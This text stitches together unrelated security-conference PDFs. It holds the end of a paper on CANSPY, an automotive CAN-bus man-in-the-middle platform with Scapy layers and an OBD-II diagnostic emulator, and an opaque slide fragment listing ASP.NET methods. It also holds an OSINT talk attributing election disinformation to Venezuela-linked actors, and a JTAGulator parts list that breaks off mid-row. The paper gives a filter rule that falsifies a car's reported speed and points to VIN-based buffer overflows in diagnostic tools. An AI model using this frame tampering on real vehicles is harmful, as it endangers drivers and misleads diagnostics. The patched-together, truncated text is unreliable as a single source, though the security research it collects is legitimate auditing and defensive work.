gaining the ability to transmit more frames that we can forward. Temporarily making CANSPY silent on the bus dedicated to the isolated
device (i.e., no acknowledgement) will prevent that device from sending new CAN frames until the last received one has been properly
forwarded on the other bus. It is also worth noting that this option is registered at handler level so that this throttling mechanism can be
used by multiple services (i.e., forward and filter services).
The device handler dedicated to the UART device only has one option, uart_dbg. It specifies the level of debug messages that should be
printed on the UART console (by default, boot and fatal messages are printed). Similarly, the Ethernet device handler is pretty simple as
most of the options are configurable at service level. Nonetheless, the following options are supported:
eth_mac: the MAC address of the CANSPY device itself (different from the ones used for the CAN devices).
eth_dbg: specifies the level of debug messages that should be sent over Ethernet (by default, boot and fatal messages are sent).
Regarding this last option, it is worth mentioning that an additional objective of the CANSPY platform is to be totally operable, including
debugging and configuration features, over Ethernet (i.e., without the need to use the UART connectivity). As for the SDCARD device, it
does not have any options since all the available ones are configurable at service level.
4.2.3 CANSPY SERVICES
In this section, we described the services registered to every CANSPY devices as well as their respective options. First and foremost, as
previously stated, there is one instance of every CAN services for each of the two CAN device handlers. There are listed hereafter with
their respective options:
inject: frame injection from outside the CAN devices.
filter: traffic filtering based on locally-stored rules.
flt_rul: the list of rules to use to filter CAN frames.
flt_def: the default action (rule 0) for CAN frames when no defined rules matches.
flt_dmy: specifies if a dummy frame should be sent when dropping a frame from the CAN interface.
forward: traffic forwarding (completely bypass the filtering engine).
It is worth mentioning that inject services exist because of the functional segmentation explained in section 4.2. Indeed, since services
cannot transmit data using a device they are not registered to, they need to request transmission to another service from that device. This is
achieved using a simple inter-service communication mechanism. Furthermore, in this particular case, disabling the inject service for a
given CAN device provides the user with the guarantee that no injection from other devices can happen unintentionally.
Another thing worth explaining is the flt_dmy option. In section 4.2.2, we explained that there are cases when a man-in-the-middle setup
can impact congestion on the CAN buses and thus put us in a situation where we are forced to drop frames. Precisely, this might happen
when using a filter service: if it drops a frame from the source bus instead of forwarding it, this increases the bandwidth on the destination
bus, thus putting us in a situation where we might not be able to forward all the traffic the other way around. The idea behind the flt_dmy
option is, instead of dropping the frame, it may be better to replace it with a dummy frame (i.e., padded with zeros) of the same priority.
After the CAN services, the Ethernet services are the most important services regarding the man-in-the-middle capabilities. There are
listed hereafter with their respective options:
wiretap: send the whole CAN traffic to the host computer (SocketCAN encapsulation).
bridge: perform network bridging with the CAN buses (wiretapping and injection to and from the host computer).
bri_ack: specifies, if needed, how to acknowledge the injection of CAN frame.
command: shell execution from the host computer.
cmd_typ: the Ethertype used for commands (the local experimental value 0x88b6 allowed by RFC7042 is the default).
cmd_out: specifies if commands received over Ethernet should return their output.
That last service is here to fulfill an objective already exposed in this section: making the CANSPY platform operable, including debugging
and configuration features, over Ethernet (i.e., without the need to use the UART connectivity). It is absolutely necessary that this service
relies on an Ethertype different than the one used to encapsulate CAN frames (cf. the can_typ options). Let us now focus on SDCARD
services and their respective options:
capture: dump the whole traffic in a PCAP file.
cap_pre: the prefix used to create a capture file.
cap_inj: specifies whether to capture injected frames.
cap_fil: specifies when to capture a frame based on filtering rules.
logging: write all events in a log file.
log_pre: the prefix used to create the log file.
log_dbg: specifies the level of debug messages that should be logged (by default, all messages are logged)
replay: generate traffic from a PCAP file.
rep_fil: the PCAP file to replay.
rep_can: the CAN interfaces on which to replay frames (by default, the MAC addresses are used).
rep_inf: specifies whether to replay indefinitely (repeat loop).
It should be mentioned that behind the SDCARD services, there is another additional objective of the CANSPY platform: to be fully
functional without a host computer connected to it. In section 4.1, we explained that it can be powered by the 12-volt line of a car. If, in
addition to this, a Micro SD card is plugged into the STM32F4DIS-BB extension board, then the CANSPY platform has the ability to
monitor, inject and alter CAN traffic autonomously. Finally, even though they were primarily designed with debugging purposes in mind
(they do not have any options), let us have a look at UART services and especially at the shell service:
print: synchronous printing (optional).
monitor: print the whole traffic in the console.
viewing: print all events in the console.
shell: an interactive shell providing the following commands:
help: display help for commands
stats: display information about the platform
device: display or change device status
service: display or change service status
option: display or change service/device options
filter: display or change filtering rules
inject: inject frames on a CAN bus
ls: list the content of directories
rm: remove files or empty directories
mv: move files or directories
cd: change the current directory
pwd: print the current/working directory
cat: concatenate and print files
xxd: print the hexadecimal dump of a file
pcap: print a capture file (PCAP format)
mkdir: create new directories
rmdir: remove non-empty directories
One last thing worth mentioning that concerns the print service. In section 4.2.1, we presented the scheduling mechanism we designed in
order to meet with the timing constraints required by the objectives of the CANSPY platform. However, we also stated that the debugging
and configuration features (mainly UART services) were explicitly allowed to not meet with these constraints. In case the user really needs
to not impair timings while still having a constant and heavy use of the UART console, enabling the print service do the job. Consequently,
it will limit the amount of bytes that can be printed on the UART console which might also limits debugging capabilities.
4.2.4 CANSPY FILTERING
With the CANSPY platform, there are two approaches to filter CAN frames in a man-in-the-middle setup. The first one uses the host
computer: disable forward and filter services, enable inject and bridge services, then it is up to the user to decide whether or not to send
back the received CAN frames, altered or not, using its favorite packet manipulation framework (we provide the layers for Scapy [5]).
The second approach uses the internal filtering capabilities of the CANSPY platform. These capabilities rely on a simple pattern-matching
mechanism for each field of the CAN frame format (see section 2 for details). A set of patterns is then associated with an action that might
include altering operations. A filtering rule typical looks like this:
IF: [CAN1|CAN2]
ID: [=|>|<|!][UINT]
TYPE: [RTR|DATA]
SIZE: [=|>|<|!][UINT]
DATA: [BEG|END|CON|EQU|REG]:[C-LIKE ESCAPE SEQUENCE|REGULAR EXPRESSION]
ACTION: [DROP|FWRD|ALTR]
CHANGE: [C-LIKE ESCAPE SEQUENCE]
It is worth mentioning that the keyword ANY can be used to indicate that no matching operation are to be conduct on a particular field. Let
us now have a focus matching mechanism for the CAN payload. Hereafter is the meaning the keywords given hereinabove:
BEG: data must begin with the specified C-like sequence.
END: data must end with the specified C-like sequence.
CON: data must contain the specified C-like sequence.
EQU: data must equal the specified C-like sequence.
REG: data must match the specified regular expression.
Let us also do this for the action keywords:
FWRD: matched frames will be forwarded.
DROP: matched frames will be dropped.
ALTR: matched frames will be altered with the specified changes then forwarded.
Finally, do make this even clearer, hereafter are several examples:
# Forward CAN1 frames with an ID higher than 130 when they end with 0x44,0x45
# after replacing these 2 bytes by the only byte 0x42 (thus decreasing the frame size by 1)
Filter add CAN1 >130 DATA ANY END:"\x44\x45" ALTR "\x42"
# Forward ANY frames when they start and end respectively with 0x44 and 0x45
# after replacing these 2 bytes respectively with 0x34 and 0x35
Filter add ANY ANY DATA ANY REG:"^(\x44).*(\x45)$" ALTR "\x34" "\x35"
# Drop all RTR frame
Filter add ANY ANY RTR ANY ANY DROP
One last thing worth mentioning about the way regular expressions are processed internally. First and foremost, the CANSPY firmware
relies on the SRLE library [6]. We encourage you to have a look at the supported syntax when crafting filtering rules based on regular
expressions. Furthermore, the possibility to use regular expressions is overlapping with the other keywords which thus may seem
redundant. Remember that we want to have a constant upper bound to how long any service will take to complete its current job (see
section 4.2.1 for details). This is not something that we can guarantee with regular expressions, hence the other keywords which should be
given an absolute priority over regular expressions. In the general case, always be careful with regular expressions and make sure the total
number of rules does not induce frame dropping.
5. APPLICATION ON OBD-II
In section 3.2, we explained that, in order to set up a man-in-the-middle configuration, it is mandatory to either physically cut the bus or to
unplug a particular ECU. However, from the point of view of security auditors, this is not something difficult to achieve. Indeed, as stated
in section 3.1, auditors rely on gray-box testing, meaning that the automobile manufacturer is providing them with assistance. As such, they
can for example request access to the integration bench the automobile manufacturer is using for validation. If that is not possible, they can
instead ask for input specifications in order to build their own testbed.
However, there is one case where anyone can easily set up a man-in-the-middle configuration or build a custom testbed: On-Board
Diagnostics or OBD. This term describes the vehicle self-diagnostic and reporting capabilities offered to automotive technicians in order to
access to the status of the various ECUs. Furthermore, the OBD-II standard, allowing five signaling protocols including CAN, has been
mandatory for all cars for two decades now. More recently, the CAN protocol has become mandatory in itself. Any car that is more-or-less
modern will thus expose a CAN interface in the cabin of the vehicle.
In the remainder of this section, in order to demonstrate the versatility and the efficiency of the CANSPY platform, we will focus on this
specific use case: auditing automotive diagnostic software, first by intercepting and modifying CAN frames while connected to an actual
car, then by partially simulating the car on a custom testbed. Indeed, there are an increasing number of OBD-II devices and we argue that,
if compromised, they might expose the other cars these devices will be connected to [7] and potentially the infrastructure they interconnect
with. It is important to highlight that the purpose of this section is not to release vulnerabilities on any diagnostic software but to lay the
groundwork needed to audit a device that connects to an OBD-II connector.
ELM327 is a programmed microcontroller that provides an abstraction layer with the OBD-II protocols. It is used by numerous OBD-II
adapters that are compatible with most consumer-grade diagnostic tools, including those that are available on smartphones. The work that
follows has been conducted on our own cars using such set of adapters and software.
First, to set up the man-in-the-middle configuration on one of our cars, we had to build a DB9 cable with a routing identical to the one used
by the Goodthopter [3] but with a female OBD-II connector on the other end. Once this was done, all that was left to do was to plug a
CANSPY device in-between the car and the ELM327 cable and to start the forward and the wiretap services (see section 4.2.3 for details).
To easily dissect the captured CAN frames and visualize the whole traffic, it is possible to use Wireshark as it natively supports the
SocketCAN format. All that is needed to achieve this is to associate the SocketCAN dissector with the Ethertype 0x88b5. As shown by
Code 1, a simple Lua script can do this with just a few lines.
Code 1. Lua script associating the SocketCAN dissector with the Ethertype 0x88b5 in Wireshark
At this point, it is easy to see that the CAN frames are complying with the ISO 15765-2 standard (ISO-TP) for the network and transport
layers and with the SAE J1939 standard for the codes used to request data from ECUs. This result was very much expected as this is now
the standard on any recent car. Nonetheless, this is an opportunity to demonstrate the filtering engine of the CANSPY platform. Based on
the OBD PIDs defined by the SAE J1939 standard [8], the vehicle speed should be provided by the PID 0x0d in the mode 0x01 of
operations and stored on 1 byte. Considering the header of the ISO-TP layer, a message containing the vehicle speed should have the
following form: \x03\x41\x0d\x??\x00\x00\x00\x00. To drive at 255km/h, at least according to the diagnostic software shown in Figure 11,
the following rule is given to the CANSPY filtering engine: ANY >0x7DE DATA 8 REG:"^\x03\x41\x0d(.)" ALTR "\xff". Needless to
say, under no circumstances our city car could ever drive that fast. That also raises a question: what about car that can drive faster than
255km/h? Finally, this example also shows that the internal filtering engine only works on a single CAN frame at a time and thus does not
account for fragmented payload. This is something we might consider supporting in the near future (i.e., for now, do this over Ethernet).
--wireshark -X lua_script:EtherCAN.lua
local sll_tab = DissectorTable.get("sll.ltype")
local can_hdl = sll_tab:get_dissector(0x000C)
local eth_tab = DissectorTable.get("ethertype")
eth_tab:add(0x88b5, can_hdl)
Figure 11. Man-in-the-middle attack on a diagnostic tool
Now, the second approach mentioned earlier: testing the diagnostic software on a custom testbed. This means that we are going to use the
CANSPY platform to emulate the car from the point of view of the OBD-II port. To that end, we will rely on Scapy [5] to easily dissect
and forge CAN frames. Precisely, to achieve this, we need to first create the SocketCAN and ISO-TP layers (see Code 2 and Code 3).
Code 2. Scapy layer for SocketCAN
Code 3. Scapy layer for ISO-TP
class ISOTP(Packet):
name = 'ISOTP'
fields_desc = [
BitEnumField('type', 0xf, 4, {0:'single', 1:'first', 2:'consecutive', 3:'flow_control'}),
ConditionalField(BitField('pad', 0, 4), lambda pkt: pkt.type > 3),
ConditionalField(BitField('size', 0, 4), lambda pkt: pkt.type == 0),
ConditionalField(BitField('total_size', 0, 12), lambda pkt: pkt.type == 1),
ConditionalField(BitField('index', 0, 4), lambda pkt: pkt.type == 2),
ConditionalField(BitEnumField('flag', 0, 4, {0:'continue', 1:'wait', 2:'abort'}), lambda pkt: pkt.type == 3),
ConditionalField(ByteField('block_size', 0), lambda pkt: pkt.type == 3),
ConditionalField(ByteField('ST', 0), lambda pkt: pkt.type == 3),
ConditionalField(StrLenField('data', '', length_from=lambda pkt: 6 if pkt.type == 1 else 7), lambda pkt: pkt.type < 3)
]
def fragment(self):
lst = []
if self.type < 4:
return lst.append(self)
else:
payload = str(self.payload)
length = len(payload)
if length <= 7:
lst.append(ISOTP(type = 'single', size = length, data = str(payload)) / Padding(load = '\x00' * (7 - length)))
else:
lst.append(ISOTP(type = 'first', total_size = length, data = payload[:6]))
payload = payload[6:]
length = len(payload)
payload = payload + ('\x00' * (0 if length % 7 == 0 else (7 - length % 7)))
for i in range(length / 7 + (1 if length % 7 != 0 else 0)):
lst.append(ISOTP(type = 'consecutive', index = i, data = payload[i * 7:(i + 1) * 7]))
return lst
class SocketCAN(Packet):
name = 'SocketCAN'
fields_desc = [
BitEnumField('EFF', 0, 1, {0:'disabled', 1:'enabled'}),
BitEnumField('RTR', 0, 1, {0:'disabled', 1:'enabled'}),
BitEnumField('ERR', 0, 1, {0:'disabled', 1:'enabled'}),
XBitField('id', 1, 29),
FieldLenField('dlc', None, length_of='data', fmt='B'),
ByteField('__pad', 0),
ByteField('__res0', 0),
ByteField('__res1', 0),
StrLenField('data', '', length_from=lambda pkt: pkt.dlc)
]
def fragment(self):
try:
fragments = self.data.fragment()
except:
raise Exception('Fragmentation failed (perhaps upper layer is missing in the data field?)')
lst = []
fl = self
while fl.underlayer is not None:
fl = fl.underlayer
for f in fragments:
lst.append(fl.copy())
lst[-1][SocketCAN].data = f
return lst
Now that we can forge CAN frames, including those with fragmented data, we are going to write primitive Scapy layers for the OBD PID
and SAE J1939 standards. The reason why we limit them to a partial implementation is simple: the goal here is not to implement a
complete open-source diagnostic solution but to lay the groundwork to audit existing ones. More precisely, we are going to support two
types of data: vehicle speed and Vehicle Identification Number (VIN).
On one hand, we want to support the vehicle speed in order to achieve the same result we had on the actual car with the man-in-the-middle
setup. On the other hand, we want to support the VIN for an entirely different reason: this is a 17-character ASCII-encoded unique code
identifying any individual vehicle. The following assumptions can thus be made regarding the processing of VINs by diagnostic software:
Frame defragmentation is conducted according to the ‘total_size’ field and not based on the expected size of the data.
The VIN is processed as a string of characters unlike most other data items that are processed as integers.
If these two assumptions prove to be right, it will be a fertile ground for buffer overflow vulnerabilities. As a matter of fact, according to a
quick survey we conducted, that was the case with several Windows-based diagnostic tools, thus confirming what we argued at the
beginning of this section: OBD-II devices can expose the vehicle they will be connected to [7] or even the infrastructure they interconnect
with. It is worth mentioning that these diagnostic tools were most likely developed in C/C++. Again, the purpose of this section was not to
release vulnerabilities on any diagnostic software but to lay the groundwork needed to audit a device that connects to an OBD-II connector.
Nonetheless, we give here the primitive Scapy layers mentioned earlier as well as the simple diagnostic emulator we have implemented to
conduct this survey. They are respectively given in Code 4 and Code 5.
Code 4. Primitive Scapy layers for OBD PID and SAE J1939
Code 5. Simple diagnostic simulator
Finally, regarding the hardware setup, Figure 12 shows how easy it is to build a testbed with the CANSPY platform using only jumpers and
jumper wires. This particular setup combines both the car-simulation and the man-in-the-middle aspects we have covered in this section.
From left to right, we have: a consumer-grade 12-volt power source (1), a Bluetooth ELM327 OBD-II dongle (2), a CANSPY device acting
as the man in the middle (3), a CANSPY device acting as the car (4), the Ethernet adapter used by the diagnostic simulator (5) and two
class DiagSim(Thread):
def __init__(self, eth_iface, can_mac):
Thread.__init__(self)
self.eth_iface = eth_iface
self.can_mac = can_mac
self.process = True
self.force = {}
def run(self):
while self.process:
p = next(iter(sniff(iface=self.eth_iface , count=1)), None)
if p and SocketCAN in p:
if p[SocketCAN].id == 0x7df or 0x7e0 <= p[SocketCAN].id <= 0x7e7:
p.data = ISOTP(p.data)
p.data.data = OBD_PID(p.data.data)
reply_id = randint(0x7e8, 0x7ef) if p[SocketCAN].id == 0x7df else p[SocketCAN].id + 8
reply = Ether(dst=self.can_mac) / SocketCAN(id=reply_id)
reply.data = ISOTP() / OBD_PID(mode=p.data.data.mode + 0x40, PID=p.data.data.PID) / J1939()
if len(str(reply.data[J1939])) > 0:
force = self.force.get(chr(p.data.data.mode) + chr(p.data.data.PID))
if force:
reply.data[OBD_PID].payload = Raw(force)
sendp(reply.fragment(), iface=self.eth_iface, inter=0.2, verbose=False)
else:
print ("Unsupported OBD Mode/PID: %02x/%02x" % (p.data.data.mode, p.data.data.PID))
def update(self, mode, pid, data):
self.force[chr(mode) + chr(pid)] = data
def stop(self):
self.process = False
class OBD_PID(Packet):
name = 'OBD_PID'
fields_desc = [
ByteField('mode', 0),
ByteField('PID', 0)
]
class J1939(Packet):
name = 'J1939'
fields_desc = [
ConditionalField(IntField('pid_support20', 0xffffffff),
lambda pkt: pkt.underlayer.mode-0x40 in [1,9] and pkt.underlayer.PID == 0x00),
ConditionalField(ByteField('speed', 0x0),
lambda pkt: pkt.underlayer.mode-0x40 in [1,2] and pkt.underlayer.PID == 0x0d),
ConditionalField(StrField('VIN', '0' * 17),
lambda pkt: pkt.underlayer.mode-0x40 == 9 and pkt.underlayer.PID == 0x02)
]
UART adapters for monitoring and debugging purposes (6). It is worth mentioning that this testbed use CANSPY extension boards version
1.2 and that fewer jumper wires would be needed with version 1.3. Regarding the potential need for an external 12-volt power source,
version 1.3 of the CANSPY extension board is also providing an electrical terminal on the left of the CAN1 DB9 port to avoid wiring
mistakes that could damage the device (see section 4.1 for details).
Figure 12. A complete testbed based on CANSPY devices (picture on the left and diagram on the right)
6. CONCLUSION
In this paper, after covering the most important aspects of the CAN protocol, we have explained how the standard penetration methodology
applies when auditing ECUs that are not directly exposed by the attack surface. Then, we have presented CANSPY, a platform giving
security auditors the ability to block, forward or modify CAN frames on the fly, autonomously with a set of rules or interactively using
Ethernet and a packet manipulation framework such as Scapy. In this regard, we have also detailed both the hardware and the firmware
designs as well as all the options that we have implemented in order to cover all possible situations, including the complex situation when
the congestion on a CAN bus must not be tampered with.
Finally, in order to demonstrate the versatility and the efficiency of the CANSPY platform, we turned around a security issue usually
considered when it comes to cars: instead of auditing an ECU through the OBD-II connector, we have detailed how the CANSPY platform
can be used to partially emulate ECUs in order to lay the groundwork needed to audit a device that connects to this very connector. On this
subject, we have also demonstrated how easy it is to build a CAN testbed using only CANSPY devices and jumper wires.
As for future work, the internal filtering engine is critical to manipulate CAN frames destined to ECUs that have low tolerance regarding
timing constraints. As of now, its filtering capabilities are limited to a single CAN frame at a time without even considering the possible
fragmentation of the data. Adding defragmentation capabilities to the internal filtering engine is next on our to-do list.
7. CODE RELEASE
The CANSPY project is open-source and can be acquired here: https://bitbucket.org/jcdemay/canspy. The internal filtering engine uses
code from the SRLE library [6] and from the GNU Core utilities [9], respectively licensed under the GNU General Public License version
2 and version 3. All other parts of the firmware are licensed under the BSD 3-Clause license.
8. REFERENCES
[1] https://www.wired.com/2015/07/hackers-remotely-kill-jeep-highway/
[2] https://www.blackhat.com/docs/us-14/materials/us-14-Picod-Bringing-Software-Defined-Radio-To-The-Penetration-Testing-Community-WP.pdf
[3] http://goodfet.sourceforge.net/hardware/goodthopter12/
[4] http://www.st.com/resource/en/data_brief/stm32cubef4.pdf
[5] http://secdev.org/projects/scapy
[6] https://docs.cesanta.com/slre/
[7] http://blog.crysys.hu/2015/10/hacking-cars-in-the-style-of-stuxnet/
[8] https://en.wikipedia.org/wiki/OBD-II_PIDs
[9] http://www.gnu.org/software/coreutils/coreutils.html
1
2
3
4
5
6 | pdf |
●
●
●
●
😮
😉
😊
💥
System.Web.UI.Control.OpenFile
System.Web.UI.WebControls.MailDefinition.CreateMailMessage
System.Web.UI.WebControls.LoginUtil.CreateMailMessage
System.Web.UI.WebControls.LoginUtil.SendPasswordMail
✗
ChangePassword.PerformSuccessAction
✗
CreateUserWizard.AttemptCreateUser
✓
PasswordRecovery.AttemptSendPasswordQuestionView
✓
PasswordRecovery.AttemptSendPasswordUserNameView
!
✔
Client
[Remote]
InvokeStaticMethod
Method_proxy
[ClientCallable]
🙃 | pdf |
The Growth of Global Election Disinformation: The
Role and Methodology of Government-linked
Cyber Actors
Sandra Quincoses
Intelligence Analyst - Nisos
About Dr. Sandra Quincoses
Current:
●
Senior Intelligence Analyst at Nisos
●
Adjunct professor at Florida International University (FIU)-
Intelligence Fellowship Program
●
PhD Social Psychology
Former:
●
OSINT: Department of Defense - US Southern Command
●
Social Media Intelligence Analyst, Spanish Linguist, and Instructor
at Dunami Inc. (Acquired by Babel Street)
@Dr_SandraQ
Today’s Presentation
●
Disinformation
●
Geopolitical Setting
●
Discovery
●
Content Analysis
●
Attribution
●
Motive Revealed
●
Impact
●
Post-Publication Behavior
●
Key Takeaways
Disinformation Overview
Content with the purpose of misleading the public is dangerous.
Intention
Who and Why
Disinformation thrives during political unrest.
@ChalecosAmarill
@Chalecoamarill’s Activities and Subsequent Events
Anti-Government
Protests in
Colombia- May 2021
Mysterious Twitter Account
(@Chalecosamarill) Infiltrated
Colombia-based Political
Discussions/ Posted Misleading
Content- May 2021
@Chalecosamarill used
domestic hashtags and
tweeted pro-Petro
content- May 2021
@Chalecosamarill
echoed U.S.
adversaries’ media
(RUS/IRN/CUB/VEN)-
Always
@Chalecosamarill engaged with
inauthentic Twitter network
pretending to be Petro supporters-
November 2021
@Chalecosamarill
engaged in digital
campaign to change
Colombia’s
Congress- November
2021
Petro Presidency-
June 2022
Petro-U.S. Officials
Meet- July 2022
War Games in
Venezuela- August
2022 (RUS/IRN/CHN)
Background: Colombia
●
Closest South American ally to the U.S.
●
Collaborated on national security and
economic issues
●
Only country in South America that has
never elected a leftist leader (until now)
●
Aligned on political concerns involving
the governments of Venezuela, Cuba,
and Nicaragua
Photo Source: US Army
Who is Gustavo Petro?
As of June 2022,
President-elect of Colombia
First leftist president of Colombia
Friend of the late Fidel
Castro (CUB) and late
Hugo Chavez (VEN)
🤛🤛
Former Senator
Friend of the FARC
Petro’s Stance Towards the U.S.
●
Critical of U.S. economic sanctions
●
Does not favor an anti-narcotics agenda
●
Critical of extradition of criminals
●
Promotes the rebuilding of diplomatic relations
between the U.S. and Venezuela
●
Question to you: Who else wins if Petro wins?
The Hypothesis and Result
Hypothesis
The Venezuelan government is attempting to influence perceptions in Colombia
with the goal of achieving political change - getting Petro elected.
Result
The government of Venezuela likely used a third-party firm to conduct and
engage in information operations, to include disinformation, to help get Petro
elected.
■ Who: (Likely) Venezuela’s Government
■ Why: (Likely) Help soften U.S. foreign policy toward Venezuela
The Network
@ChalecosAmarill
Promoter and Creator Pro
Gustavo Content
Ralito Digital
Chalecos’ Operator- Admin
for Telegram Channel
Rafael Nunez
Community Manager
Comunicacion Digital VE
Jeisson Rauseo
CEO
Comunicación Digital VE
Global Revolution ORG
Telegram Channel
Iran
Cuba
Russia
Venezuela
Here
Discovery: Chalecos’ Reach in Colombia on Twitter
8k Retweets in Colombia
●
No identifiable Info
●
Large Following
●
Interacted with community
●
Echoed Venezuelan (and allied)
state-sponsored news
●
Interacted with suspicious accounts
●
Active 22 hours/day on average
●
Posted true, half-true, and false
information
●
Adopted domestic hashtags in target
countries- COL in this case
Content Analysis
Content Analysis: Disinformation
Content Analysis: Disinformation
“In #Colombia #LastHour- In Pereira, an ESMAD tank
advanced running over several protesters. This is a
clear violation of human rights. #killercops”-
@Chalecosamarill
Content Analysis: Participation in Pro-Petro Digital
Campaign to Change Colombia’s Congress
November
2021
February
2022
Content Analysis: Influence Campaign Engagement
Interactions with Inauthentic Network Engaged in Campaign
Content Analysis: Inauthentic Network Adopted
Supporter Characteristics
Content Analysis: State-Linked Media
@ChalecosAmarill
Promoter and Creator of
Pro Gustavo Content
Attribution: Following Clues
@ChalecosAmarill
Promoter and Creator of
Pro Gustavo Content
Ralito Digital
Chalecos’ Operator- Admin
for its Telegram Channel
Global Revolution ORG
Telegram Channel
Attribution: Ralito Digital
Attribution: We got a name!
@ChalecosAmarill
Promoter and Creator
Pro Gustavo Content
Ralito Digital
Chalecos’ Operator- Admin
for its Telegram Channel
Rafael Nunez
Community Manager
Comunicacion Digital VE
Global Revolution ORG
Telegram Channel
Iran
Cuba
Russia
Venezuela
Attribution: Person Behind Ralito Digital
Attribution: THE Golden Nugget
@ChalecosAmarill
Promoter and Creator
of Pro Gustavo Content
Ralito Digital
Chalecos’ Operator- Admin
for its Telegram Channel
Rafael Nunez
Community Manager
Comunicacion Digital VE
Jeisson Rauseo
CEO
Comunicación Digital VE
Global Revolution ORG
Telegram Channel
Iran
Cuba
Russia
Venezuela
●
CEO of Comunicacion Digital VE- “Strategic and intelligent
digital marketing”
●
Formerly Director of Social Media at Venezuela’s Ministry of
Communications and Information (MINCI)
○
“Retired” in 2016
○
Active government email- Venezuela’s National Institute
for Socialist Training and Education
Attribution: MOTIVE REVEALED
Website: patriagrande[.]com.ve
Attribution: Additional Links to Venezuela’s Government
Impact
Petro was elected in
June 2022
Post-Report Behaviors
New Account
Less Active
…But its Operators
Conduct “Political
Marketing”
Variation of the Same
Screen Name (Established a
Brand)
Telegram
Channel
Upfront
😡
Post-Report Behaviors
That Moment When…
26 March 2022
3 May 2022
Thank you, Cyberscoop!
General Key Takeaways
1.
Do not trust sources you do not know
2.
Sources of information reveal motive
3.
Digital actors engaged in Information Operations (IO) adapt
○
One case is a snapshot in time, next time, methodology could be different
4.
Think about IOs as marketing campaigns, which requires:
○
Request -> Research -> Planning -> Operation -> Review-> New Request, etc.
5.
Academics are studying how you “Fact Check”
○
Adversaries can access this information and use it to deceive…
😐
OSINT Key Takeaways
1.
Be suspicious of accounts with no identifiable info
2.
Look for trends/patterns
3.
Names are vital to an investigation
4.
If you find something unexpected, it is probably worth investigating further
5.
Follow clues
6.
Historic data often provides new leads… targets’ bad OPSEC does, too :)
7.
Political neutrality during an investigation is important
8.
Be supportive of your team- OSINT and mental health
Thank You
Learn more at nisos.com | pdf |
JTAGulator
JTAGulator
Bill-of-Materials
Bill-of-Materials
Bill-of-Materials
HW B, Document 1.0, April 19, 2013
HW B, Document 1.0, April 19, 2013
HW B, Document 1.0, April 19, 2013
Build Quantity
Build Quantity 1
Item
Quantity
Reference
Manufacturer
Manuf. Part #
Distributor
Distrib. Part #
Description
Unit Price
Per Build
Extended
1
2
C1, C2
Kemet
C1206C103K5RACTU
Digi-Key
399-1234-1-ND
Capacitor, 0.01uF ceramic, 10%, 50V, X7R, 1206
$0.160
2
$0.32
2
14
C3, C6, C9, C11, C12, C13, C14, C15,
C17, C18, C19, C20, C21, C22
Kemet
C1206C104K5RACTU
Digi-Key
399-1249-1-ND
Capacitor, 0.1uF ceramic, 10%, 50V, X7R, 1206
$0.100
14
$1.40
3
1
C4
Yageo
CC1206KRX7R9BB102
Digi-Key
311-1170-1-ND
Capacitor, 1000pF ceramic, 10%, 50V, X7R, 1206
$0.130
1
$0.13
4
1
C5
Yageo
CC1206KRX7R9BB471
Digi-Key
311-1167-1-ND
Capacitor, 470pF ceramic, 10%, 50V, X7R, 1206
$0.130
1
$0.13
5
1
C7
Kemet
T491A106M016AS
Digi-Key
399-3687-1-ND
Capacitor, 10uF tantalum, 20%, 16V, size A
$0.410
1
$0.41
6
2
C8, C10
Kemet
T491A475K016AT
Digi-Key
399-3697-1-ND
Capacitor, 4.7uF tantalum, 10%, 16V, size A
$0.350
2
$0.70
7
1
D1
Kingbright
WP59EGW
Digi-Key
754-1232-ND
LED, Red/Green Bi-Color, T-1 3/4 (5mm)
$0.330
1
$0.33
8
1
L1
TDK
MPZ2012S221A
Digi-Key
445-1568-1-ND
Inductor, Ferrite Bead, 220R@100MHz, 3A, 0805
$0.120
1
$0.12
9
1
P1
Hirose Electric
UX60-MB-5S8
Digi-Key
H2960CT-ND
Connector, Mini-USB, 5-pin, SMT w/ PCB mount
$1.380
1
$1.38
10
5
P2, P3, P4, P5, P6
TE Connectivity
282834-5
Digi-Key
A98336-ND
Connector, Terminal Block, 5-pin, side entry, 0.1” P
$1.730
5
$8.65
11
3
P7, P8, P9
3M
961210-6404-AR
Digi-Key
3M9460-ND
Header, Dual row, Vertical header, 2x5-pin, 0.1” P
$0.700
3
$2.10
12
1
Q1
Fairchild
MMBT3904
Digi-Key
MMBT3904FSCT-ND
Transistor, NPN, 40V, 200mA, SOT23-3
$0.150
1
$0.15
13
5
R1, R2, R3, R4, R10
Any
Any
Digi-Key
P10KECT-ND
Resistor, 10k, 5%, 1/4W, 1206
$0.100
5
$0.50
14
1
R5
Any
Any
Digi-Key
P470ECT-ND
Resistor, 470 ohm, 5%, 1/4W, 1206
$0.100
1
$0.10
15
1
R6
Any
Any
Digi-Key
P270ECT-ND
Resistor, 270 ohm, 5%, 1/4W, 1206
$0.100
1
$0.10
16
1
R7
Any
Any
Digi-Key
P18.0KFCT-ND
Resistor, 18k, 1%, 1/4W, 1206
$0.100
1
$0.10
17
1
R8
Any
Any
Digi-Key
P8.20KFCT-ND
Resistor, 8.2k, 1%, 1/4W, 1206
$0.100
1
$0.10
18
1
R9
Any
Any
Digi-Key
P100KECT-ND
Resistor, 100k, 5%, 1/4W, 1206
$0.100
1
$0.10
19
3
R11, R12, R13
Bourns
4816P-1-102LF
Digi-Key
4816P-1-102LFCT-ND
Resistor, Array, 8 isolated, 1k, 2%, 1/6W, SOIC16
$0.640
3
$1.92
20
1
SW1
C&K
KSC201JLFS
Digi-Key
401-1756-1-ND
Switch, SPST, Momentary, 120gf, 6.2 x 6.2mm, J-Lead
$0.510
1
$0.51
21
1
U1
FTDI
FT232RL-REEL
Digi-Key
768-1007-1-ND
IC, USB-to-UART Bridge, SSOP28
$4.500
1
$4.50
22
1
U2
Parallax
P8X32A-Q44
Digi-Key
P8X32A-Q44-ND
IC, Microcontroller, Propeller, LQFP44
$7.990
1
$7.99
23
1
U3
Micrel
MIC2025-2YM
Digi-Key
576-1058-ND
IC, Power Distribution Switch, Single-channel, SOIC8
$1.290
1
$1.29
24
1
U4
Microchip
24LC512-I/SN
Digi-Key
24LC512-I/SN-ND
IC, Memory, Serial EEPROM, 64KB, SOIC8
$1.940
1
$1.94
25
1
U5
Analog Devices
AD8655ARZ
Digi-Key
AD8655ARZ-ND
IC, Op. Amp., CMOS, Rail-to-rail, 220mA Iout, SOIC8
$2.150
1
$2.15
26
1
U6
ST Microelectronics
LD1117S33CTR
Digi-Key
497-1241-1-ND
IC, Voltage Regulator, LDO, 3.3V@800mA, SOT223
$0.540
1
$0.54
27
6
U7, U8, U10, U11, U13, U14
ON Semiconductor
NUP4302MR6T1G
Digi-Key
